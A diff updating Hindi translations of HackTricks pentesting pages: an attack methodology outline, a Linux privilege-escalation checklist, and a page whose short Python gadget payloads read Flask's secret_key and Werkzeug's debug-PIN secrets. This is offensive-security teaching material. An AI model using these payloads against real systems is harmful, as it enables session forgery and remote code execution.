**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं खोज पा रहे हैं**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
|
||||
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल की खोज करें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाओं को पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
|
||||
|
||||
#### 5.1 स्वचालित उपकरण
|
||||
|
||||
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो मैंने बनाया है और यह इस पुस्तक में पेंटेस्टिंग सेवाओं के बारे में नोट्स पर आधारित है, आजमाने की सिफारिश करूंगा।**
|
||||
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो मैंने बनाया है और यह इस पुस्तक में आपको मिल सकने वाले सेवाओं के पेंटेस्टिंग नोट्स पर आधारित है, आजमाने की सिफारिश करूंगा।**
|
||||
|
||||
#### **5.2 ब्रूट-फोर्सिंग सेवाएँ**
|
||||
#### **5.2 ब्रूट-फोर्सिंग सेवाएं**
|
||||
|
||||
कुछ परिदृश्यों में **ब्रूट-फोर्स** एक **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का CheatSheet खोजें**](../generic-hacking/brute-force.md)**।**
|
||||
कुछ परिदृश्यों में **ब्रूट-फोर्स** एक **सेवा** को **समझौता** करने के लिए उपयोगी हो सकता है। [**यहां विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](../generic-hacking/brute-force.md)**।**
|
||||
|
||||
### 6- [फिशिंग](phishing-methodology/)
|
||||
### 6- [फिशिंग](phishing-methodology/index.html)
|
||||
|
||||
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
|
||||
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहां](phishing-methodology/index.html) पढ़ सकते हैं:
|
||||
|
||||
### **7-** [**शेल प्राप्त करना**](../generic-hacking/reverse-shells/)
|
||||
### **7-** [**शेल प्राप्त करना**](../generic-hacking/reverse-shells/index.html)
|
||||
|
||||
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जाने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची जो आपको एक रिवर्स शेल प्राप्त करने में मदद कर सकती है](../generic-hacking/reverse-shells/) बहुत उपयोगी होगी।
|
||||
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](../generic-hacking/reverse-shells/index.html)।
|
||||
|
||||
विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जाँच करें**](../windows-hardening/av-bypass.md)**।**\\
|
||||
विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जांच करें**](../windows-hardening/av-bypass.md)**।**\\
|
||||
|
||||
### 8- अंदर
|
||||
|
||||
@ -68,69 +68,69 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
|
||||
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
|
||||
|
||||
### **9 -** [**एक्सफिल्ट्रेशन**](../generic-hacking/exfiltration.md)
|
||||
|
||||
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जाने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](../generic-hacking/exfiltration.md)**।**
|
||||
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहां आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](../generic-hacking/exfiltration.md)**।**
|
||||
|
||||
### **10- विशेषाधिकार वृद्धि**
|
||||
|
||||
#### **10.1- स्थानीय प्रिवेस्क**
|
||||
|
||||
यदि आप बॉक्स के अंदर **रूट/व्यवस्थापक** नहीं हैं, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
|
||||
यहाँ आप [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं।**\
|
||||
यहां आप **स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं** [**Linux**](../linux-hardening/privilege-escalation/index.html) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**।**\
|
||||
आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**:
|
||||
|
||||
- [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
- [**NTLM कैसे काम करता है**](../windows-hardening/ntlm/)
|
||||
- [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
|
||||
- [**NTLM कैसे काम करता है**](../windows-hardening/ntlm/index.html)
|
||||
- Windows में [**क्रेडेंशियल चुराने के लिए**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) कैसे
|
||||
- [_**एक्टिव डायरेक्टरी**_](../windows-hardening/active-directory-methodology/) के बारे में कुछ तरकीबें
|
||||
- [_**एक्टिव डायरेक्टरी**_](../windows-hardening/active-directory-methodology/index.html) के बारे में कुछ तरकीबें
|
||||
|
||||
**Windows और Linux स्थानीय विशेषाधिकार वृद्धि पथों को सूचीबद्ध करने के लिए सबसे अच्छे उपकरणों की जाँच करना न भूलें:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Windows और Linux स्थानीय विशेषाधिकार वृद्धि पथों को सूचीबद्ध करने के लिए सबसे अच्छे उपकरणों की जांच करना न भूलें:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- डोमेन प्रिवेस्क**
|
||||
|
||||
यहाँ आप [**एक पद्धति जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और बनाए रखने के लिए सबसे सामान्य क्रियाओं की व्याख्या करती है**](../windows-hardening/active-directory-methodology/) पा सकते हैं। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया एक पेंटेस्टिंग/रेड टीम असाइनमेंट पर **अत्यंत नाजुक** हो सकती है।
|
||||
यहां आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/index.html)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया एक पेंटेस्टिंग/रेड टीम असाइनमेंट पर **अत्यंत नाजुक** हो सकती है।
|
||||
|
||||
### 11 - POST
|
||||
### 11 - पोस्ट
|
||||
|
||||
#### **11**.1 - लूटना
|
||||
|
||||
जाँच करें कि क्या आप होस्ट के अंदर अधिक **पासवर्ड** पा सकते हैं या यदि आपके पास **अपने उपयोगकर्ता के विशेषाधिकारों** के साथ **अन्य मशीनों** तक पहुंच है।\
|
||||
यहाँ विभिन्न तरीकों से [**Windows में पासवर्ड डंप करने**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें।
|
||||
जांचें कि क्या आप होस्ट के अंदर अधिक **पासवर्ड** पा सकते हैं या यदि आपके पास **अपने उपयोगकर्ता के विशेषाधिकारों** के साथ **अन्य मशीनों** तक पहुंच है।\
|
||||
यहां Windows में [**पासवर्ड डंप करने के विभिन्न तरीकों**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें।
|
||||
|
||||
#### 11.2 - स्थिरता
|
||||
|
||||
**2 या 3 विभिन्न प्रकार के स्थिरता तंत्र का उपयोग करें ताकि आपको फिर से सिस्टम का शोषण करने की आवश्यकता न पड़े।**\
|
||||
**यहाँ आप सक्रिय निर्देशिका पर कुछ** [**स्थिरता तरकीबें**](../windows-hardening/active-directory-methodology/index.html#persistence)** पा सकते हैं।**
|
||||
**यहां आप सक्रिय निर्देशिका पर कुछ** [**स्थिरता तरकीबें**](../windows-hardening/active-directory-methodology/index.html#persistence)** पा सकते हैं।**
|
||||
|
||||
TODO: Windows और Linux में स्थिरता पोस्ट पूरा करें
|
||||
|
||||
### 12 - पिवटिंग
|
||||
|
||||
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई मेज़बानों की खोज और स्कैन करने** की आवश्यकता है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
|
||||
इस मामले में, टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](../generic-hacking/tunneling-and-port-forwarding.md).\
|
||||
आपको सक्रिय निर्देशिका पेंटेस्टिंग पद्धति के बारे में पोस्ट भी देखनी चाहिए](../windows-hardening/active-directory-methodology/). वहाँ आपको पार्श्व रूप से स्थानांतरित करने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार तरकीबें मिलेंगी।\
|
||||
[**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की जाँच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है।
|
||||
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई मेज़बानों का पता लगाने और स्कैन करने** की आवश्यकता हो (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहां आपका शिकार जुड़ा हुआ है।\
|
||||
इस मामले में, टनलिंग आवश्यक हो सकती है। यहां आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](../generic-hacking/tunneling-and-port-forwarding.md)।\
|
||||
आपको सक्रिय निर्देशिका पेंटेस्टिंग पद्धति के बारे में पोस्ट की भी जांच करनी चाहिए](../windows-hardening/active-directory-methodology/index.html)। वहां आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार तरकीबें मिलेंगी।\
|
||||
[**NTLM**](../windows-hardening/ntlm/index.html) के बारे में पृष्ठ की भी जांच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है।
|
||||
|
||||
### अधिक
|
||||
|
||||
#### [Android Applications](../mobile-pentesting/android-app-pentesting/)
|
||||
#### [Android Applications](../mobile-pentesting/android-app-pentesting/index.html)
|
||||
|
||||
#### **शोषण**
|
||||
|
||||
- [**बुनियादी Linux शोषण**](broken-reference/)
|
||||
- [**बुनियादी Linux शोषण**](broken-reference/index.html)
|
||||
- [**बुनियादी Windows शोषण**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**बुनियादी शोषण उपकरण**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
- [**बुनियादी शोषण उपकरण**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
|
||||
|
||||
#### [**बुनियादी Python**](python/)
|
||||
#### [**बुनियादी Python**](python/index.html)
|
||||
|
||||
#### **क्रिप्टो तरकीबें**
|
||||
|
||||
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
- [**पैडिंग ओरेकल**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
**जांचने के लिए दिलचस्प पृष्ठ:**
|
||||
|
||||
- [**Pyscript hacking tricks**](pyscript.md)
|
||||
- [**Pyscript हैकिंग ट्रिक्स**](pyscript.md)
|
||||
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
|
||||
- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
|
||||
- [**Basic python web requests syntax**](web-requests.md)
|
||||
- [**Basic python syntax and libraries**](basic-python.md)
|
||||
- [**Python sandboxes को बायपास करने के ट्रिक्स**](bypass-python-sandboxes/index.html)
|
||||
- [**बुनियादी Python वेब अनुरोधों की सिंटैक्स**](web-requests.md)
|
||||
- [**बुनियादी Python सिंटैक्स और पुस्तकालय**](basic-python.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
विभिन्न कमजोरियाँ जैसे कि [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) या [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) आपको **python आंतरिक डेटा पढ़ने की अनुमति दे सकती हैं लेकिन कोड निष्पादित करने की अनुमति नहीं देंगी**। इसलिए, एक pentester को **संवेदनशील विशेषाधिकार प्राप्त करने और कमजोरियों को बढ़ाने** के लिए इन पढ़ने की अनुमतियों का अधिकतम लाभ उठाने की आवश्यकता होगी।
|
||||
विभिन्न कमजोरियाँ जैसे कि [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) या [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) आपको **python आंतरिक डेटा पढ़ने की अनुमति दे सकती हैं लेकिन कोड निष्पादित करने की अनुमति नहीं देंगी**। इसलिए, एक pentester को **संवेदनशील विशेषाधिकार प्राप्त करने और कमजोरियों को बढ़ाने के लिए** इन पढ़ने की अनुमतियों का अधिकतम लाभ उठाने की आवश्यकता होगी।
|
||||
|
||||
### Flask - Read secret key
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
इस मामले में, आप इस ऑब्जेक्ट तक पहुँच सकते हैं बस किसी भी गैजेट का उपयोग करके **वैश्विक ऑब्जेक्ट्स तक पहुँचने के लिए** [**Python सैंडबॉक्स को बायपास करने वाले पृष्ठ**](bypass-python-sandboxes/)।
|
||||
इस मामले में, आप किसी भी गैजेट का उपयोग करके इस ऑब्जेक्ट तक पहुँच सकते हैं ताकि **वैश्विक ऑब्जेक्ट्स तक पहुँच** प्राप्त की जा सके [**Python सैंडबॉक्स को बायपास करने वाले पृष्ठ**](bypass-python-sandboxes/index.html) से।
|
||||
|
||||
उस मामले में जहाँ **कमजोरी एक अलग पायथन फ़ाइल में है**, आपको फ़ाइलों को पार करने के लिए एक गैजेट की आवश्यकता है ताकि मुख्य फ़ाइल तक पहुँच सकें और **वैश्विक ऑब्जेक्ट `app.secret_key`** तक पहुँच सकें ताकि Flask गुप्त कुंजी को बदल सकें और इस कुंजी को जानकर [**अधिकार बढ़ा सकें**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)।
|
||||
|
||||
@ -21,17 +21,17 @@ app.secret_key = '(:secret:)'
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
इस payload का उपयोग करें **`app.secret_key`** को **बदलने** के लिए (आपके ऐप में नाम अलग हो सकता है) ताकि आप नए और अधिक विशेषाधिकार प्राप्त flask कुकीज़ पर हस्ताक्षर कर सकें।
|
||||
इस payload का उपयोग करें **`app.secret_key`** को बदलने के लिए (आपके ऐप में नाम अलग हो सकता है) ताकि आप नए और अधिक विशेषाधिकार प्राप्त flask कुकीज़ पर हस्ताक्षर कर सकें।
|
||||
|
||||
### Werkzeug - machine_id और node uuid
|
||||
|
||||
[**इस लेख से इन payload का उपयोग करते हुए**](https://vozec.fr/writeups/tweedle-dum-dee/) आप **machine_id** और **uuid** node तक पहुँच सकते हैं, जो कि **मुख्य रहस्य** हैं जिनकी आपको [**Werkzeug पिन उत्पन्न करने**](../../network-services-pentesting/pentesting-web/werkzeug.md) की आवश्यकता है जिसे आप `/console` में python कंसोल तक पहुँचने के लिए उपयोग कर सकते हैं यदि **debug mode सक्षम है:**
|
||||
[**इस लेख से इन payload का उपयोग करते हुए**](https://vozec.fr/writeups/tweedle-dum-dee/) आप **machine_id** और **uuid** node तक पहुँच सकते हैं, जो कि **मुख्य रहस्य** हैं जिनकी आपको [**Werkzeug पिन उत्पन्न करने के लिए**](../../network-services-pentesting/pentesting-web/werkzeug.md) आवश्यकता है, जिसे आप `/console` में python कंसोल तक पहुँचने के लिए उपयोग कर सकते हैं यदि **debug mode सक्षम है:**
|
||||
```python
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि आप **`app.py`** के लिए **सर्वर का स्थानीय पथ** प्राप्त कर सकते हैं, जो वेब पृष्ठ पर कुछ **त्रुटि** उत्पन्न करेगा, जो **आपको पथ देगा**।
|
||||
> ध्यान दें कि आप **`app.py`** के लिए **सर्वर का स्थानीय पथ** प्राप्त कर सकते हैं, जो वेब पृष्ठ में कुछ **त्रुटि** उत्पन्न करके **आपको पथ देगा**।
|
||||
|
||||
यदि कमजोरियां किसी अन्य पायथन फ़ाइल में हैं, तो मुख्य पायथन फ़ाइल से वस्तुओं तक पहुँचने के लिए पिछले Flask ट्रिक की जाँच करें।
|
||||
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Checklist - Linux Privilege Escalation
|
||||
# चेकलिस्ट - लिनक्स प्रिविलेज एस्कलेशन
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Linux स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **लिनक्स स्थानीय प्रिविलेज एस्कलेशन वेक्टर खोजने के लिए सबसे अच्छा टूल:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [सिस्टम जानकारी](privilege-escalation/index.html#system-information)
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
- [ ] [**env वेरिएबल्स**](privilege-escalation/index.html#env-info) की जांच करें, कोई संवेदनशील विवरण?
|
||||
- [ ] [**kernel exploits**](privilege-escalation/index.html#kernel-exploits) **स्क्रिप्ट का उपयोग करके** खोजें (DirtyCow?)
|
||||
- [ ] **जांचें** कि [**sudo संस्करण**] (privilege-escalation/index.html#sudo-version) कमजोर है या नहीं
|
||||
- [ ] [**Dmesg**] हस्ताक्षर सत्यापन विफल (privilege-escalation/index.html#dmesg-signature-verification-failed)
|
||||
- [ ] [**Dmesg** हस्ताक्षर सत्यापन विफल](privilege-escalation/index.html#dmesg-signature-verification-failed)
|
||||
- [ ] अधिक सिस्टम एनम ([तारीख, सिस्टम आँकड़े, सीपीयू जानकारी, प्रिंटर](privilege-escalation/index.html#more-system-enumeration))
|
||||
- [ ] [अधिक रक्षा की गणना करें](privilege-escalation/index.html#enumerate-possible-defenses)
|
||||
|
||||
@ -29,26 +29,26 @@
|
||||
### [प्रक्रियाएँ](privilege-escalation/index.html#processes)
|
||||
|
||||
- [ ] क्या कोई **अज्ञात सॉफ़्टवेयर चल रहा है**?
|
||||
- [ ] क्या कोई सॉफ़्टवेयर **उससे अधिक विशेषाधिकार के साथ चल रहा है जो उसे होना चाहिए**?
|
||||
- [ ] **चल रही प्रक्रियाओं के शोषण** की खोज करें (विशेष रूप से चल रही संस्करण)।
|
||||
- [ ] क्या आप किसी चल रही प्रक्रिया के **बाइनरी को संशोधित** कर सकते हैं?
|
||||
- [ ] क्या कोई सॉफ़्टवेयर **ज्यादा प्रिविलेज के साथ चल रहा है**?
|
||||
- [ ] **चल रही प्रक्रियाओं के एक्सप्लॉइट्स** की खोज करें (विशेष रूप से चल रही संस्करण)।
|
||||
- [ ] क्या आप किसी चल रही प्रक्रिया का **बाइनरी संशोधित** कर सकते हैं?
|
||||
- [ ] **प्रक्रियाओं की निगरानी करें** और जांचें कि कोई दिलचस्प प्रक्रिया बार-बार चल रही है या नहीं।
|
||||
- [ ] क्या आप कुछ दिलचस्प **प्रक्रिया मेमोरी** (जहां पासवर्ड सहेजे जा सकते हैं) **पढ़ सकते हैं**?
|
||||
|
||||
### [शेड्यूल्ड/क्रॉन नौकरियाँ?](privilege-escalation/index.html#scheduled-jobs)
|
||||
### [शेड्यूल्ड/क्रॉन जॉब्स?](privilege-escalation/index.html#scheduled-jobs)
|
||||
|
||||
- [ ] क्या [**PATH**](privilege-escalation/index.html#cron-path) को किसी क्रॉन द्वारा संशोधित किया जा रहा है और क्या आप इसमें **लिख सकते हैं**?
|
||||
- [ ] क्या किसी क्रॉन नौकरी में कोई [**वाइल्डकार्ड**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) है?
|
||||
- [ ] क्या कोई [**संशोधित करने योग्य स्क्रिप्ट**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) **चल रही है** या **संशोधित करने योग्य फ़ोल्डर** के अंदर है?
|
||||
- [ ] क्या किसी क्रॉन जॉब में कोई [**वाइल्डकार्ड**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) है?
|
||||
- [ ] क्या कोई [**संशोधित करने योग्य स्क्रिप्ट**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) **चल रही है** या **संशोधित करने योग्य फ़ोल्डर** में है?
|
||||
- [ ] क्या आपने पता लगाया है कि कोई **स्क्रिप्ट** [**बहुत **बार-बार**](privilege-escalation/index.html#frequent-cron-jobs) **चल रही है**? (हर 1, 2 या 5 मिनट)
|
||||
|
||||
### [सेवाएँ](privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] कोई **लिखने योग्य .service** फ़ाइल?
|
||||
- [ ] कोई **लिखने योग्य बाइनरी** जो **सेवा** द्वारा निष्पादित होती है?
|
||||
- [ ] कोई **लिखने योग्य बाइनरी** जो **सेवा** द्वारा निष्पादित हो?
|
||||
- [ ] क्या **systemd PATH** में कोई **लिखने योग्य फ़ोल्डर** है?
|
||||
|
||||
### [टाइमर](privilege-escalation/index.html#timers)
|
||||
### [टाइमर्स](privilege-escalation/index.html#timers)
|
||||
|
||||
- [ ] कोई **लिखने योग्य टाइमर**?
|
||||
|
||||
@ -66,25 +66,25 @@
|
||||
|
||||
- [ ] जानने के लिए नेटवर्क की गणना करें कि आप कहाँ हैं
|
||||
- [ ] **खुले पोर्ट जो आप पहले नहीं पहुंच सके** मशीन के अंदर शेल प्राप्त करने से पहले?
|
||||
- [ ] क्या आप `tcpdump` का उपयोग करके **ट्रैफ़िक को स्निफ़ कर सकते हैं**?
|
||||
- [ ] क्या आप `tcpdump` का उपयोग करके **ट्रैफ़िक स्निफ़ कर सकते हैं**?
|
||||
|
||||
### [उपयोगकर्ता](privilege-escalation/index.html#users)
|
||||
|
||||
- [ ] सामान्य उपयोगकर्ता/समूहों की **गणना**
|
||||
- [ ] क्या आपके पास **बहुत बड़ा UID** है? क्या **मशीन** **कमजोर** है?
|
||||
- [ ] क्या आप [**एक समूह के माध्यम से विशेषाधिकार बढ़ा सकते हैं**](privilege-escalation/interesting-groups-linux-pe/) जिसमें आप शामिल हैं?
|
||||
- [ ] क्या आप [**एक समूह के माध्यम से प्रिविलेज बढ़ा सकते हैं**](privilege-escalation/interesting-groups-linux-pe/index.html) जिसमें आप शामिल हैं?
|
||||
- [ ] **क्लिपबोर्ड** डेटा?
|
||||
- [ ] पासवर्ड नीति?
|
||||
- [ ] कोशिश करें कि आप **हर ज्ञात पासवर्ड** का **उपयोग** करें जो आपने पहले खोजा है **प्रत्येक** संभावित **उपयोगकर्ता** के साथ लॉगिन करने के लिए। बिना पासवर्ड के भी लॉगिन करने की कोशिश करें।
|
||||
|
||||
### [लिखने योग्य PATH](privilege-escalation/index.html#writable-path-abuses)
|
||||
|
||||
- [ ] यदि आपके पास **PATH में किसी फ़ोल्डर पर लिखने के विशेषाधिकार** हैं तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं
|
||||
- [ ] यदि आपके पास **PATH में किसी फ़ोल्डर पर लिखने के अधिकार** हैं तो आप प्रिविलेज बढ़ाने में सक्षम हो सकते हैं
|
||||
|
||||
### [SUDO और SUID कमांड](privilege-escalation/index.html#sudo-and-suid)
|
||||
|
||||
- [ ] क्या आप **sudo के साथ कोई कमांड निष्पादित कर सकते हैं**? क्या आप इसे रूट के रूप में कुछ पढ़ने, लिखने या निष्पादित करने के लिए उपयोग कर सकते हैं? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] क्या कोई **शोषण योग्य SUID बाइनरी** है? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] क्या कोई **एक्सप्लॉइटेबल SUID बाइनरी** है? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] क्या [**sudo** कमांड **पथ** द्वारा **सीमित** हैं? क्या आप **प्रतिबंधों को बायपास** कर सकते हैं](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
|
||||
- [ ] [**Sudo/SUID बाइनरी बिना पथ के संकेतित**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
|
||||
- [ ] [**SUID बाइनरी पथ निर्दिष्ट करते हुए**](privilege-escalation/index.html#suid-binary-with-command-path)? बायपास
|
||||
@ -110,7 +110,7 @@
|
||||
|
||||
### [SSH](privilege-escalation/index.html#ssh)
|
||||
|
||||
- [ ] **Debian** [**OpenSSL पूर्वानुमानित PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
- [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
- [ ] [**SSH दिलचस्प कॉन्फ़िगरेशन मान**](privilege-escalation/index.html#ssh-interesting-configuration-values)
|
||||
|
||||
### [दिलचस्प फ़ाइलें](privilege-escalation/index.html#interesting-files)
|
||||
@ -130,14 +130,14 @@
|
||||
|
||||
### [**लिखने योग्य फ़ाइलें**](privilege-escalation/index.html#writable-files)
|
||||
|
||||
- [ ] **मनमाने आदेश निष्पादित करने के लिए पायथन लाइब्रेरी को संशोधित करें?**
|
||||
- [ ] क्या आप **लॉग फ़ाइलों को संशोधित कर सकते हैं**? **Logtotten** शोषण
|
||||
- [ ] क्या आप **/etc/sysconfig/network-scripts/** को **संशोधित कर सकते हैं**? Centos/Redhat शोषण
|
||||
- [ ] **मनमाने कमांड निष्पादित करने के लिए पायथन लाइब्रेरी** को संशोधित करें?
|
||||
- [ ] क्या आप **लॉग फ़ाइलों को संशोधित कर सकते हैं**? **Logtotten** एक्सप्लॉइट
|
||||
- [ ] क्या आप **/etc/sysconfig/network-scripts/** को **संशोधित कर सकते हैं**? Centos/Redhat एक्सप्लॉइट
|
||||
- [ ] क्या आप [**ini, int.d, systemd या rc.d फ़ाइलों में लिख सकते हैं**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**अन्य तरकीबें**](privilege-escalation/index.html#other-tricks)
|
||||
|
||||
- [ ] क्या आप [**NFS का दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं**](privilege-escalation/index.html#nfs-privilege-escalation)?
|
||||
- [ ] क्या आप [**NFS का दुरुपयोग करके प्रिविलेज बढ़ा सकते हैं**](privilege-escalation/index.html#nfs-privilege-escalation)?
|
